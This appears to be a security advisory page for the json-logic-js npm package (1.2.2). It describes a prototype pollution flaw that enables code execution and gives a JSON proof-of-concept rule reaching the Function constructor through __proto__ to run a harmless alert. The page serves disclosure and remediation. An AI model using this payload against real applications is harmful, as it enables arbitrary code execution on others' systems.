org.webjars.npm:json-logic-js@1.2.2 vulnerabilities

  • latest version

    2.0.2

  • latest non vulnerable version

  • first published

    4 years ago

  • latest version published

    2 years ago

  • licenses detected

  • package manager

Direct Vulnerabilities

Known vulnerabilities in the org.webjars.npm:json-logic-js package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

org.webjars.npm:json-logic-js is a Build complex rules, serialize them as JSON, and execute them in JavaScript

Affected versions of this package are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution. The following rule creates a popup when run from a browser:

PoC

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}

{ "method": [ { "method": [ { "var": "__proto__.constructor.is.__proto__" }, "constructor", [ "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)" ] ] }, "call" ] }

How to fix Prototype Pollution?

Upgrade org.webjars.npm:json-logic-js to version 2.0.2 or higher.

[,2.0.2)